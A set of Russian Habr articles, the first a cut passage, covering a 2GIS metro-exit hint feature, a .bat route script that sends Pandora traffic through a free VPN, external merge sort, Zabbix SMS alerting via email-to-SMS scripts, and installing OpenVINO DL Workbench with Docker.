3. Подсказка должна визуализироваться в мобильном приложении по json-ответу и по ответу от поисковой библиотеки (задачка для мобильных разработчиков).
**Фиксация API**
На клиенте подсказка должна состоять из двух вещей: фразы и соответствующей иконки со стрелкой. Значит, сервер должен уметь отдавать эту информацию клиенту. Фразу с подсказкой можно просто передать в новом поле в ответе сервера.
Что делать с иконкой? Парсить текст подсказки, чтобы понять направление и визуализировать стрелочку, — не самое изящное решение. Решили просто добавить в ответ сервера ещё одно поле — сериализация Direction в одно из двух слов “right”/”left”.
*Новые поля в ответе сервера*
Когда сервер генерирует "landing\_suggest", поле будет формироваться сразу в локали пользователя, которую сервер получает в клиентском запросе. Для этого сервер обратится к словарю фраз требуемой локали, чтобы преобразовать Direction во фразу на русском «выходите из вагона налево/направо» (либо на другом из десятка поддерживаемых языков).
При оффлайн-поиске маршрутов в приложении локализация работает по такому же принципу, разве что приложению изначально известно, с какой локалью оно работает.
Теперь хочется раздать задачи командам и начать реализацию! Не совсем. Тут нужно произвести краткий экскурс в то, как работает и какие данные использует наша поисковая библиотека.
Готовим и упаковываем данные
----------------------------
Библиотека поиска маршрутов на общественном транспорте умеет строить маршруты между множеством начальных и конечных точек. Библиотека реализует сам алгоритм поиска, но алгоритму нужен граф, чтобы найти на нём кратчайший маршрут. Там же — разная информация об остановках общественного транспорта, поэтому поисковый граф нужно предоставить библиотеке — параметризовать алгоритм графом.
Мы в 2ГИС формируем для каждого города отдельный граф связности остановок общественного транспорта (включая интересующие нас платформы метро). Граф общественного транспорта каждого города и вся необходимая для поиска информация о маршрутах и их расписаниях, платформах, остановках и разная служебная информация передаётся алгоритму поиска в бинарном формате.
Изначально все данные каждого города хранятся в нескольких источниках (можно назвать их базами данных или источниками данных). Но этим данным нужно пройти немалый путь сквозь различные утилиты обогащения и упаковки. В конечном виде данные конкретного города представляют собой бинарный пакет: мы называем его «файл роутинга» (от англ. route — маршрут). Впоследствии такой пакет используется как в мобильных приложениях, так и на серверах компании. Пайплайн подготовки данных для библиотеки поиска маршрутов упрощённо выглядит так:
Собираем и отдаём данныеРаз речь зашла о данных, значит, мы должны что-то в них поменять.
Вспомним продуктовые требования: необходимо учитывать, что платформа в метро может быть «перевернутой», поэтому в файле роутинга у каждой платформы должен быть задан булевый атрибут is\_reversed. Чтобы подсказку для конкретной платформы можно было отключить, у каждой платформы должен быть задан ещё один булевый атрибут: do\_not\_show.
Предполагается, что эти атрибуты будут заданы в источниках данных. Но их ещё нужно «донести» до файла роутинга, которым пользуется библиотека поиска. Для этого нужно доработать наш сервис упаковки. Таким образом, появляется ещё один, четвёрый пункт требований к реализации фичи:
4. Нужно доработать сервис упаковки данных
Атрибуты is\_reversed и do\_not\_show позволят библиотеке поиска маршрутов правильно генерировать подсказки о выходе из метро для прямых и «перевернутых» платформ, а также отключать эту подсказку для какой-нибудь платформы, если потребуется.
Отдельно стоит отметить, что при изменении алгоритма упаковки данных (добавлении, удалении свойств каких-либо объектов) требуется поддерживать обратную совместимость по данным. То есть если во входные данные забыли положить новые атрибуты, упаковка не должна ломаться (но должна предупредить пользователя, что их нет).
Налево или направо?
-------------------
Сама по себе генерация новой подсказки в библиотеке поиска маршрутов — не rocket science. В библиотеке за генерацию всевозможных подсказок по найденным маршрутам отвечает отдельный класс SuggestsGenerator. Интерфейс этого класса можно упрощённо выглядит так.
```
class SuggestsGenerator
{
public:
// Генерирует подсказки для всех маршрутов из списка
Routes Generate(const Routes& routes) const;
}
```
У этого класса также есть доступ к интерфейсу файла роутинга — нашему бинарному пакету, где лежат атрибуты каждой платформы метро города, в котором строится маршрут в данный момент.
Найденные маршруты передаются в функцию Generate(), которая возвращает модифицированную версию маршрутов с заполненными полями подсказок. Каждый найденный маршрут состоит из последовательности перемещений, где перемещение — некоторый участок маршрута на одном виде транспорта. Это может быть проезд на автобусе, или, например, проезд на метро от начальной платформы до конечной.
Маршруты ABCD, AB1C1D между А и D. Перемещения — звенья ломаныхТаким образом, для каждого перемещения каждого маршрута генерируются свой набор разнообразных подсказок, исходя из бизнес-требований.
Чтобы сгенерировать подсказку о стороне выхода из вагона, нужно учесть несколько условий:
1. есть ли подсказка о вагоне, в который пользователю предложили сесть;
2. есть ли у платформы требуемые атрибуты в данных;
3. показывать ли подсказку для платформы (проверяем значения атрибута do\_not\_show);
4. является ли платформа «перевернутой» (используем атрибут is\_reversed).
Весь код бизнес логики уместился в одну функцию:
```
std::optional MakeSuggest(const Movement& m) const
{
// Проверяем, что m - перемещение на метро
// Проверяем пункты 1-4
// Возвращаем std::nullopt, если не удалось создать подсказку
}
```
где Direction — это простой enum class:
```
// Описывает направление высадки из вагона метро
enum class Direction
{
// Выход из вагона направо
Right,
// Выход из вагона налево
Left
};
```
А теперь применим новую функцию внутри SuggestGenerator::Generate (псевдокод):
```
Routes SuggestsGenerator::Generate(const Routes& routes) const
{
Routes new_routes(routes);
for(auto& r: new_routes)
{
// Пробежимся по перемещениям маршрута
for(auto& m: r.movements)
{
m.suggest = MakeSuggest(m);
}
}
return new_routes;
}
```
Модификация сервиса упаковки потребовала примерно тот же объём изменений. Новые атрибуты платформы были просто записаны в резервные поля структуры хранения данных платформы метро. Хочется поблагодарить того хорошего человека, который предусмотрительно их добавил до нас, понимая, что всегда будут возникать новые требования.
На стороне сервера были добавлены те два поля нового API, о которых было сказано выше, путем простой сериализации сгенерированных Direction’ов для каждого перемещения.
Как это тестировать?
--------------------
Чтобы протестировать новую фичу, нужен набор компонентов:
* тестовый сервер;
* тестовый сервис упаковки данных в файл роутинга;
* сам файл роутинга с новыми атрибутами платформ метро для сервера;
* тестовое мобильное приложение.
Тестировать было необходимо каждый компонент в отдельности и всю фичу в интеграции.
Сначала протестировали мобильное приложение без доступа к сети, предоставив ему пакет с новыми данными. Затем подвергли тщательной проверке сервис упаковки данных, предоставляя ему как данные с атрибутами платформ, так и без них. Таким образом собрали новый пакет по одному городу, где много разных платформ метро. Угадайте, какой это город?:)
Для тестирования всей фичи был развернут тестовый сервер на стенде. Зафиксировали множество кейсов, для которых сервер должен был выдавать тот или иной вид подсказки, а затем отправляли запросы вручную через [Postman](https://www.postman.com/). Затем соединили фронтенд и бэкенд и посмотрели на результат их совместной работы.
В целом, при тестировании клиента и сервера не было проблем, кроме одной: первая буква фразы подсказки в приложении была строчной вместо прописной. Что ж, мы обратились к уже существующим подсказкам в 2ГИС и сделали также: через капитализацию на стороне приложения.
Зарелизили фичу, которой нет
----------------------------
Чтобы увидеть новую подсказку на бою, мы ждали релиз новой версии сервера и новой версии мобильного приложения. Эти релизы могут быть не синхронизированы, и в них обычно попадает много самых разных фич.
Когда релизы случились, я обновил приложение на телефоне и начал искать заветную подсказку, но не находил. Я помнил некоторые тестовые сценарии и точно знал, где должна быть подсказка! Это было печально, и я отправился на поиски причины недоразумения. «Хорошо, что хоть сервер работает», − успокоил себя этим.
Оказалось, что состоялись два из трёх необходимых релизов. Последний из них — это новая версии сервиса упаковки, которой пользуется команда подготовки данных. Релизы внутренних инструментов подготовки данных выходят реже продуктовых, а потому пакеты с новыми атрибутами для платформ метро просто не были доступны потребителям (серверу и мобильному приложению для оффлайн-поиска) на момент проверки. Без этих атрибутов библиотека поиска маршрутов не стала бы генерировать подсказку.
По ту сторону релиза
--------------------
Это фича — наглядный пример того, что порой интегрировать все компоненты фичи воедино сложнее, чем написать отдельную функциональность каждого компонента. Реализация подсказки о выходе из вагона метро потребовала согласованной работы трёх команд и выпуска трёх релизов. Это был интересный опыт, заставивший меня погрузиться в те области работы в 2ГИС, с которыми я ещё не сталкивался. После того, как был выпущен релиз сервиса подготовки данных и были подготовлены файлы роутинга, подсказки о выходе из вагона метро появились у пользователей, в том числе и у меня. А это значит, что теперь мы знаем, в какую сторону из вагона метро нам всем идти :) | https://habr.com/ru/post/678030/ | null | ru | null |
# Слушаем Pandora.com с использованием бесплатного VPN
Наверняка многие хабражители уже давно распробовали на вкус замечательный музыкальный сервис, под названием Pandora.com. Наверняка многие из них, проживающие за пределами США, ни раз видели сообщение о «неверном» IP, забыв вовремя заплатить за VPN. Сегодня я попытаюсь рассказать, как избежать таких ситуаций раз и навсегда.
Оказывается не все в этом мире продается, кое-что и вовсе отдают бесплатно. Даже в случае с VPN. Так, немного погуглив, я нашел замечательный сервис под названием [HotSpot Shield](http://hotspotshield.com/?lg=ru), который как раз предоставляет эту услугу бесплатно. Впрочем, на этом пост можно было бы и закончить, но не все так радужно: в качестве платы за использование своего VPN они будут показывать баннерную рекламу на каждой открываемой странице, перенаправлять Вас с google.com на какие-то никому неизвестные поисковики и делать еще множество других неприятных вещей. Скажу сразу: само ПО, которое необходимо установить для использования их сервиса adware не является, т.е. показ рекламы и прочее будет происходить только при пользовании самим VPN. Впрочем, на сайте самой «Пандоры» парочка баннеров вовсе не мешают.
Немного подумав, я вспомнил про замечательную команду *route*. Пост можно было бы закончить на этом второй раз, но опять незадача: адрес шлюза меняется при каждом подключении, и перспектива вбивать новые значения каждый раз руками меня не вдохновляла. Поэтому я начал искать более автоматизированное решение…
В общем, не буду томить дальнейшими рассказами: таким решением оказалось объединение команд в .bat файл, который значительно упрощает жизнь. А вот и он:
`route delete 208.85.40.20 //удаляем предыдущие маршруты до pandora.com
route delete 208.85.40.50
route delete 208.85.40.80
for /f "tokens=3" %%i in ('route print 0.0.0.0 MASK 128* -4 ^| findstr "10\."') do (
route add 208.85.40.80 %%i
route add 208.85.40.20 %%i
route add 208.85.40.50 %%i
route delete 0.0.0.0 mask 128.0.0.0 %%i
route delete 128.0.0.0 mask 128.0.0.0 %%i
route delete 0.0.0.0 mask 0.0.0.0 %%i
) //производим поиск IP шлюза VPN, заносим его в переменную, прописываем маршруты до pandora.com, удаляем маршруты по умолчанию для VPN. Почему три? Не знаю, спросите у разработчиков программы.
route add 0.0.0.0 mask 128.0.0.0 192.168.2.1 //добавляем шлюз по умолчанию, на случай, если мы его случайно удалили
route change 0.0.0.0 mask 128.0.0.0 192.168.2.1 //восстанавливаем значение шлюза по умолчанию (это на случай, если он уже существовал).`
Впрочем, последние две строки совсем не обязательны и сделаны просто для перестраховки. Но если решитесь их использовать, то **не забудьте поменять 192.168.2.1 на адрес своего шлюза**.
Так же данный .bat скорее всего не будет работать у пользователей, которые используют Интернет через шлюз, начинающийся с 10.
И так, как все это использовать:
1. [Скачиваем HotSpot Shield](http://hotspotshield.com/hotspot-shield-download.php?&type=na) и устанавливаем его.
2. Подключаемся к VPN
3. Создаем .bat файл с кодом, приведенным выше и запускаем его. Кстати, это необходимо будет делать после каждого переподключения (к VPN, я имею ввиду).
Все, теперь мы можем полноценно использовать pandora.com абсолютно бесплатно и не просматривать при этом рекламу при серфинге.
PS Естественно, данный способ подойдет и для любого другого сервиса, требующего американского IP, просто нужно добавить маршруты до него в цикл for.
PPS Огромное спасибо **WildHunter** *с programmersforum.ru* и **Foreigner** *с forum.oszone.net*.
Так же прошу прощения за косноязычие, сегодня воскресение, а поделиться этим методом не терпелось. | https://habr.com/ru/post/126276/ | null | ru | null |
# Алгоритм внешней сортировки слиянием
На сегодняшний день сортировка является очень важной частью в любой системе баз данных. Речь идет о расположении данных в порядке возрастания или убывания. Мы используем сортировку для генерации последовательного вывода, а также для выполнения условий различных алгоритмов, работающих с базами данных. При обработке запросов для эффективного выполнения различных реляционных операций, таких как join и т. д., используются различные методы сортировки, потому что корректной работы большинства запросов системе необходимо предоставлять отсортированные входные данные. Если говорить о сортировке отношения, то мы должны построить индекс по сортировочному ключу и использовать этот индекс для считывания отношения в отсортированном порядке. Однако, используя индекс, мы сортируем отношение логически, а не физически. Таким образом, сортировка может столкнуться с двумя случаями:
**Случай первый:** Отношение имеет меньший размер в сравнении с доступной оперативной памятью.
**Случай второй:** Отношение превышает размер доступной оперативной памяти.
В первом случае отношения малого или среднего размера не выходят за рамки доступной оперативной памяти. Это значит, что мы можем полностью уместить их в оперативной памяти. Таким образом, в этом случае мы можем использовать стандартные методы сортировки, такие как quicksort, сортировка слиянием и т. д.
Во втором случае стандартные алгоритмы уже не будут работать корректно. Именно для таких отношений, размер которых выходит за рамки доступной оперативной памяти, мы используем алгоритм внешней сортировки слиянием (External Merge Sort).
Группа методов сортировки отношений, которые не помещаются в оперативную память из-за своего, в совокупности называется **внешней сортировкой (External Sorting)**. Наиболее подходящим для этой задачи методом внешней сортировки является алгоритм внешней сортировки слиянием.
### Алгоритм внешней сортировки слиянием (External Merge Sort)
Ниже мы подробно разберем все этапы алгоритма внешней сортировки слиянием:
**M** в алгоритме означает количество дисковых блоков, доступных в буфере оперативной памяти для сортировки.
**Этап 1:** Изначально мы создаем несколько отсортированных прогонов. Мы сортируем каждый из них. Эти прогоны содержат только часть записей отношения.
```
i = 0;
```
```
repeat
считываем либо М блоков, либо остаток отношения меньшего размера:
сортируем часть отношения, размещенную в оперативной памяти;
записываем отсортированные данные в файл Ri;
i =i+1;
```
```
until конец отношения
```
Как видите, на первом этапе мы выполняем операцию сортировки для отдельных дисковых блоков. Закончив с первым этапом, переходите к непосредственно ко второму.
**Этап 2:** На втором этапе мы объединяем прогоны. Учтите, что общее количество прогонов, т. е. N, должно быть меньше, чем M. Таким образом, мы можем аллоцировать в памяти один блок для каждого прогона, и там еще останется место для хранения одного блока вывода. Выполняем эту операцию следующим образом:
```
считываем один блок из N файлов Ri в буферный блок в оперативной памяти;
repeat
выбираем первый кортеж среди всех буферных блоков (выбор производится в порядке сортировки);
записываем кортеж в вывод, а затем удаляем его из буферного блока;
если буферный блок любого прогона Ri пуст и не EOF(Ri)
тогда считываем следующий блок Ri в буферный блок;
until все входные буферные блоки пусти
```
После завершения второго этапа на выходе мы получим отсортированное отношение. Затем выходной файл буферизуется для минимизации операций записи на диск. Поскольку этот алгоритм производит слияние N прогонов, он известен как **N-стороннее слияние (N-way merge).**
Однако, если размер отношения больше объема допустимой памяти, то на первом этапе будет сгенерировано более M прогонов. Из-за этого будет невозможно выделить один блок для каждого прогона на втором этапе. В таком случае операция слияния выполняется в несколько проходов. Поскольку для M-1 входных буферных блоков памяти будет достаточно, каждое слияние может брать в качестве входных данных M-1 проходов. С этими изменениями алгоритм будет выглядеть следующим образом:
* Он объединяет первые M-1 прогонов, чтобы получить один прогон для последующей обработки.
* Точно так же он объединяет следующие M-1 прогонов. Этот шаг продолжается до тех пор, пока он не обработает все изначальные прогоны. Таким образом количество прогонов уменьшилось в М-1 раз. Тем не менее, если это уменьшенное значение больше или равно M, нам нужно сделать еще один проход. Для этого нового прохода входными данными будут прогоны, созданные первым проходом.
* Работа каждого прохода будет заключаться в уменьшении количества прогонов в М-1 раз. Эта задача повторяется столько раз, сколько необходимо, пока количество прогонов не станет меньше или равно M.
* Таким образом, последний проход даст нам отсортированный вывод.
### Оценка стоимости метода внешней сортировки слиянием
Анализ стоимости внешней сортировки слиянием выполняется с использованием рассмотренных выше этапов алгоритма:
* Предположим br обозначают количество блоков, содержащих записи отношения r.
* На первом этапе он считывает каждый блок отношения и записывает их обратно. Всего потребуется 2br перемещений блоков.
* Изначально значение количества прогонов равно [br/M]. Поскольку количество прогонов уменьшается на M-1 в каждом проходе слияния, требуется в общем [log M-1(br/M)] проходов слияния.
Каждый проход считывает и записывает каждый блок отношения только один раз. Но с двумя исключениями:
* Последний проход может дать отсортированный вывод без записи результата на диск.
* Могут быть шансы, что некоторые прогоны не будут прочитаны или записаны во время прохода.
Если пренебречь этими небольшими тонкостями, получается общее количество перемещений блоков для внешней сортировки:
**b r (2 Γ log M-1 (b r /M) ˥ + 1)**
Сюда также следует добавить стоимость поиска на диске, потому что каждый прогон предполагает поиск для чтения и записи данных. Если на втором этапе, т. е. на этапе слияния, каждому прогону выделяется bb буферных блоков или каждый прогон считывает bb данных за раз, то каждое слияние требует [br /bb] операций поиска для считывания данных. Вывод записывается последовательно, поэтому, если он находится на том же диске, что и входные прогоны, головке нужно будет перемещаться между записями последовательных блоков. Таким образом, нам нужно будет добавить 2[br /bb] операций поиска для каждого прохода слияния, и общее количество операций поиска будет следующим:
**2 Γ b r /M ˥ + Γb r /b b ˥(2ΓlogM-1(b r /M)˥ - 1)**
Таким образом, нам нужно рассчитать общее количество обращений к диску для анализа стоимости алгоритма внешней сортировки слиянием.
### Пример внешнего алгоритма сортировки слиянием
Давайте рассмотрим работу алгоритма внешней сортировки слиянием, а также проанализируем стоимость внешней сортировки на примере.
Допустим, мы выполняем внешнюю сортировку слиянием для отношения R. При этом предположим, что только один блок может содержать один кортеж, а память может содержать не более трех блоков. Таким образом, при обработке на втором этапе, то есть этапе слияния, он будет использовать два блока в качестве входных данных и один блок в качестве финального вывода.
---
Сегодня вечером в Otus состоится открытое занятие «Создание ассоциативного массива различными способами». На этом вебинаре мы реализуем структуру данных «ассоциативный массив» для хранения пар (ключ, значение). Рассмотрим несколько алгоритмов для решения этой задачи и сравним их эффективность:
1. односвязный список,
2. отсортированный массив,
3. двоичное дерево поиска,
4. хэш-таблица,
5. префиксное дерево.
Регистрация доступна [на странице онлайн-курса «Алгоритмы и структуры данных».](https://otus.pw/M5Qb/) | https://habr.com/ru/post/712234/ | null | ru | null |
# Бесплатная отправка SMS уведомлений в Zabbix
Все осознают необходимость непрерывного контроля большой распределенной сети и для этого есть множество систем мониторинга. Сразу замечу, что я работаю у крупного провайдера и на мои, так сказать, плечи ложится контроль состояния большого количества узлов доступа, которые зачастую находятся на очень большом удалении от меня.
Сейчас я активно использую ветку Zabbix 2.0: Удалось прикрутить постоянный контроль параметров абонентских линий ADSL на всех узлах доступа, порядка 200 000 параметров. Описания как это было сделано хватит на отдельную статью. Я же расскажу как сделать простым и доступным способом оповещение о каких либо событиях посредством SMS, и не использовать для этого специфического железа.
Я же расскажу как сделать простым и доступным способом оповещение о каких либо событиях посредством SMS, и не использовать для этого специфического железа.
Вариант оповещения используя бесплатные возможности email2sms сервиса sms.ru
----------------------------------------------------------------------------
**UPD:** В связи со сменой корпоративного оператора связи способ email2sms от билайна для меня больше не приемлем. Нашел достаточно интересное предложение в виде веб сервиса [sms.ru](http://sms.ru/ "sms.ru") Что меня в нем привлекло? Во первых при регистрации в качестве программиста получаем следующие плюшки:
* Продвинутый API — вы можете отправлять сообщения, проверять их состояние, узнавать стоимость, проверять баланс через простые HTTP запросы.
* Возможность замены отправителя — в качестве отправителя может использоваться латинское название вашего сайта или компании
* Сообщения на собственный номер
* Бесплатны до 60 СМС в день, далее оплачиваются по стандартным тарифам
* СМС на свой номер бесплатны только если текст укладывается в 1 SMS сообщение
* e-mail2sms
Регистрация простая, на телефон придет подтверждение в виде СМС. Я регистрировался в качестве программиста.
Собственно чтобы не выходить за пределы бесплатных СМС достаточно соблюдать следующие условия
1. Не более 10 СМС на номера отличные от своего, используемого при регистрации. Лимит, стоимость, статус сообщения можно проверить простыми запросами.
2. Не более 160 символов латиницей в СМС.
3. Не более 60 СМС на свой номер
По умолчанию в качестве отправителя будет ваш номер, указанный при регистрации, это показалось мне не красивым и я отправил заявку на имя отправителя zabbix из панели управления, заявку рассматривали не долго, может час может 2 и я стал получать уже сообщения от отправителя zabbix.
Настройка email2sms
-------------------
Выбираем пункт меню Приложения — Почта @ sms.ru. Откроется что-то подобное этому:
Нажимаем редактировать и увидим следующую картинку:
Пройдусь по пунктам
1. Первым идет ваш адрес вида ххх @ sms.ru на который и нужно отправлять письма уведомлений
2. Галочку снимаем
3. Галочку снимаем (мне название действия не нужно)
4. Галочку ставим
5. Галочку ставим иначе смс станут платными
6. Выбираем от какого отправителя будут приходить сообщение (у меня уже есть имя zabbix)
7. Галочку ставим
8. Дальше можем вписать дополнительные номера телефонов куда будут дублироваться СМС. т.е. отправив письмо на один ящик смс могут получить сразу несколько клиентов с разными телефонами.
9. Вводим адреса ящиков, с которых будут идти письма на ящик email2sms. Если поле оставить пустым то письма будут платными.
Нажмем сохранить и должно получиться так
Настройка на сервисе sms.ru закончена.
Есть два способа отправки сообщений
* Используя smtp сервер сервиса
* Используя свой почтовый сервер
Настроим zabbix используя smtp сервер сервиса
---------------------------------------------
Создадим способ оповещения для первого способа. **Администрирования — Способы оповещения**.
В качестве исходящего email указываем свой emai2sms который выдал [sms.ru](http://sms.ru/ "sms.ru")
Теперь необходимо назначить пользователю способ оповещения. **Администрирование — Пользователи** Выбираем пользователя и выбираем вкладку **оповещения** Далее **добавить**
При необходимости настраиваем уровни и время для оповещения.
Настроим zabbix используя свой почтовый сервер
----------------------------------------------
Для второго способа, с использованием своего почтового сервера, требующего авторизацию сделаем другой способ оповещения типа «скрипт»
Скрипт находится в *AlertScriptsPath* (указн в конфигурационных файлах zabbix). В моем случае это */usr/local/share/zabbix/alertscripts/*
Сам скрипт
```
#!/bin/bash
export smtpemailfrom=ss@cbx.ru
export zabbixemailto=$1
export zabbixsubject=$2
export zabbixbody=$3
export smtpserver=хххх.хххx.ru
export smtplogin=ххххх@ххххх.ru
export smtppass=password
/usr/bin/sendEmail -f $smtpemailfrom -t $zabbixemailto -u $zabbixsubject -m "$zabbixbody" -s $smtpserver:25 -xu $smtplogin -xp $smtppass -o message-format=raw
```
Не забываем дать права 755 на файл *zabbix\_sendemai*.
Теперь необходимо назначить пользователю способ оповещения. **Администрирование — Пользователи** Выбираем пользователя и выбираем вкладку **оповещения** Далее **добавить**
Создадим действие zabbix отправляющее оповещение посредством sms
----------------------------------------------------------------
Настроим действие на сработавший триггер. Для примера взял триггер падение порта fa 0/5 коммутатора d-link. Заходим в **Настройка — Действия — Создать действие** (источник события — триггер)
На вкладке действие настраиваем так
На вкладке условие задаем в качестве условия триггер со значением проблема
На вкладке операции делаем тип операции **отправлять сообщение** добавляем пользователя и уже у пользователя выбираем нужный тип **send\_email** или **email sms.ru** в **«отправлять только»** и не забываем нажать кнопку **обновить** и потом **сохранить**.
Если все сделать так то появится новое действие
Проверка отправки sms
---------------------
Положим ручками порт на длинке. При просмотре события видно успешную реакцию на событие: текст, адрес отправки, время отправки.
Фото экрана телефона на который пришла sms с задержкой меньше минуты.
Старое решений email2sms
------------------------
Решение выходит полностью бесплатным при использовании телефонов оператора Билайн. (других операторов не изучал, но буду рад если подскажете).
Есть сайт beonline.ru на котором можно узнать как включить получение писем с e-mail в виде SMS-сообщений. Делается это либо звонком по бесплатному номеру **06849909** либо отправкой на номер 784 следующей команды: **СИМ ВКЛ-ПОЧТАНАСМС ДА**.
В ответ придет SMS **СИМ> ВКЛ-ПОЧТАНАСМС ДА (Ваш телефон имеет Почтовый-адрес: 79031234567@sms.beemail.ru). <П> — подробнее.**
Запоминаем это адрес, хотя что там запоминать?
Все наверно догадались, что дальше необходимо настроить уведомления по e-mail на полученный выше адрес, но не все так просто. Zabbix не позволяет стандартными средствами отправлять уведомления по e-mail если smtp сервер требует аутентификацию.
Выход есть — использование сценариев которые можно найти [на форуме Zabbix'a](http://www.zabbix.com/forum/showthread.php?t=1323). Я использовал вариант с [sendEmail](http://caspian.dotconf.net/menu/Software/SendEmail/).
Создаем скрипт zabbix\_sendemail с правами доступа 755
```
#!/bin/sh
export smtpemailfrom=zabbix@yourdomain.com
export zabbixemailto=$1
export zabbixsubject=$2
export zabbixbody=$3
export smtpserver=yoursmtpserver.com
export smtplogin=smtpuser
export smtppass=smtppassword
/usr/bin/sendEmail -f $smtpemailfrom -t $zabbixemailto -u $zabbixsubject -m $zabbixbody -s $smtpserver:25 -xu $smtplogin -xp $smtppass
```
Подставив необходимые данные и сохраняем его в каталоге который указан в качестве AlertScriptsPath в файле конфигурации /etc/zabbix/zabbix\_server.conf
```
### Option: AlertScriptsPath
# Location of custom alert scripts
#
# Mandatory: no
# Default:
AlertScriptsPath=/home/zabbix/bin/
```
Следующим действием необходимо создать новый *Тип средства передачи* в меню *Администрирование* — *Типы средств передачи*.
В описании пишем к примеру **send email**
тип выбираем **сценарий**
Название скрипта пишем **zabbix\_sendemail**
Сохраняем.
Задаем средство передачи для пользователя которому нужно будем отправлять SMS. Делается это в меню *Администрирование* — *Пользователи*. Выбираем нужного пользователя нажимаем **добавить средство передачи**.
Тип — выбираем **send email**
Отправлять — вводим полученный e-mail от Билайна
Дальше по желанию (лучше можете оставить по умолчанию).
Теперь необходимо создать действие на триггер которое и будет отправлять нам SMS.
Делается это в меню *Настройка* — *Действие*.
Создадим действие на недоступность железа.
Имя **SMS**
Событие **Триггер**
Тема по умолчанию **{TRIGGER.NAME}: {STATUS}** (не имеет особого значения так как SMS придет без темы)
Сообщение по умолчанию **{HOSTNAME} unreachable {STATUS}**
Сообщение восстановления ставим при необходимости получать сообщение о восстановлении и заполняем по аналогии с выше написанным
Дальше выбираем условия действия
Я делал так, можете написать те условия которые Вам необходимы.
**Тип калькуляции (A) and (B) and and (D) and (E)
(A) Группа узлов сети = «особо важные»
(B) Описание триггера содержит «недоступен»
Важность триггера = «Чрезвычайная»
(D) Значение триггера = «ПРОБЛЕМА»
(E) Период времени в «1-7,08:00-23:59»**
При совпадении всех условий срабатывает отправка сообщения.
Настраиваем операцию на действие
Тип операции **Отправить сообщение**
Отправить сообщение **Один пользователь**
Отправлять только **send email**
Сообщение по умолчанию ставим крыжик.
Сохраняем.
Сообщение придет при наличии сработавшего триггера содержащего в описании «недоступен» в группе узлов сети «особо важные» и во все дни недели с 8 утра до 12 ночи.
И так мы получили систему уведомления посредством SMS не использовав никаких сложных или платных решений.
**UPD** [Вторая статья «Автоматическое переименование хостов в Zabbix, по данным из snmp sysName»](http://osj.habrahabr.ru/blog/82465/) | https://habr.com/ru/post/81630/ | null | ru | null |
# Приемы повышения производительности инференса глубоких моделей с DL Workbench. Часть 1 — введение и установка
Если у вас есть проект с интенсивной обработкой данных глубокими моделями (или еще нет, но вы собираетесь его создать), то вам будет полезно познакомиться с приемами по повышению их производительности и уменьшению затрат на покупку / аренду вычислительных мощностей. Тем более, что многие из приемов сейчас выполняются буквально за несколько кликов мышкой, но при этом позволяют повысить производительность на порядок. В этом посте мы рассмотрим, какие оптимизации бывают, установим Docker на Windows 10 и запустим DL Workbench, измерим производительность инференса без оптимизации и с применением оных.
Введение
--------
Перед тем, как погружаться в ускорение глубоких моделей, сначала нужно посмотреть на общую схему жизни любой глубокой модели в каком-либо проекте. В течение «жизни» глубокой модели есть этапы обучения модели и многократного вывода (инференса). Кстати, благодаря четкому разделению на тренировку и инференс модели в ее жизненном цикле, появились специализированные фреймворки только для инференса, как например ONNX runtime или [OpenVINO](https://docs.openvinotoolkit.org/latest/index.html).
Стадии жизни модели глубокого обученияОбучение модели производится один или несколько раз, и затраты на железо / электричество на ее обучение не являются фатальными (если, конечно, вы не обучаете GPT-3, для обучения которой OpenAI могла потратить до [4,6 миллиона долларов](https://lambdalabs.com/blog/demystifying-gpt-3/)). А вот при многократном инференсе модели даже небольшие улучшения могут дать хорошую экономию бюджета. Причем для использования некоторых оптимизаций нужно приложить минимальные усилия.
Приемы оптимизации можно разделить на следующие группы:
1. Внедрение новых, более быстро исполняемых слоев при разработке модели. Группа объединяет приемы, которые закладываются во все модели на этапе конструирования модели. Простейший пример — использование простой и быстрой функции активации ReLU в сверточных глубоких моделях. Такие оптимизации будут за рамками данной статьи.
2. Оптимизация модели через модификацию некоторых слоев. К таким оптимизациям можно отнести использование слияния линейных операций (Linear Operations Fusing) модели для моделей ResNet. Такие операции применяются автоматически и незаметно при конвертации модели в OpenVINO, но про них полезно знать.
3. Увеличение степени параллельного исполнения через увеличение числа операций, которые можно выполнить одновременно. Сюда мы отнесем подходы с увеличением размера пачки одновременно обрабатываемых изображений (батча) и запуск на обработку нескольких изображений параллельно и независимо.
4. Использование типов данных меньшей точности для увеличения производительности. Сюда в первую очередь относится квантизация моделей — ускорение модели и возможное снижение ее точности за счет использования типа данных INT8. Кроме того, есть возможность сразу тренировать глубокие модели с использованием типов данных меньшей точности, но данный метод пока не очень популярен.
После небольшого теоретического экскурса можно переходить к практике. Мы рассмотрим примеры оптимизации инференса, которые мы можем «пощупать» в фрейморке DL Workbench от разработчиков OpenVINO. Intel Distribution of OpenVINO Toolkit — это набор инструментов для оптимизации и высокопроизводительного инференса глубоких моделей. В OpenVINO можно сконвертировать, оптимизировать и запустить модели в форматах Caffe, TensorFlow, MXNet, ONNX (а через формат ONNX мы можем загружать модели из всех остальных фреймворков). Для более детального знакомства с OpenVINO можно посмотреть вот эту [презентацию](http://hpc-education.unn.ru/files/courses/intel-dl-cv-course-2/Rus/Lectures/Presentations/03_OpenVINO_overview_Rus_pptx.pdf) на русском, либо посмотреть оригинальную [документацию](https://docs.openvinotoolkit.org/latest/index.html) (но на английском). DL Workbench — это графический интерфейс для более удобного и наглядного взаимодействия с инструментами оптимизации.
Для кого создавался DL Workbench и какие его главные функцииУстановка DL Workbench
----------------------
Чтобы начать работать с DL Workbench, нужно его установить, но сначала нужно установить Docker. Если вы еще не пользуетесь Docker в Windows 10, то в его установке на Windows есть дополнительные шаги.
* Скачать и установить [обновление Windows до WSL 2](https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi);
* Установить WSL 2 по умолчанию (пишут, что команду нужно выполнять в PowerShell):
```
wsl --set-default-version 2
```
* Скачать себе [Ubuntu 20.04 через Windows Store](https://www.microsoft.com/en-us/p/ubuntu-2004-lts/9n6svws3rx71);
* Скачать и установить [докер](https://download.docker.com/win/stable/Docker%20Desktop%20Installer.exe).
После установки докера запуск DL Workbench сводится к двум командам. Скачать его через docker pull и запустить через docker run.
```
docker pull openvino/workbench
docker run -p 127.0.0.1:5665:5665 --name workbench -it openvino/workbench:latest
```
Работа в DL WorkBench
---------------------
После запуска DL Workbench в браузере открывается приветственная страница, в которой нам предложат создать конфигурацию теста, состоящего из модели, устройства для инференса и датасета.
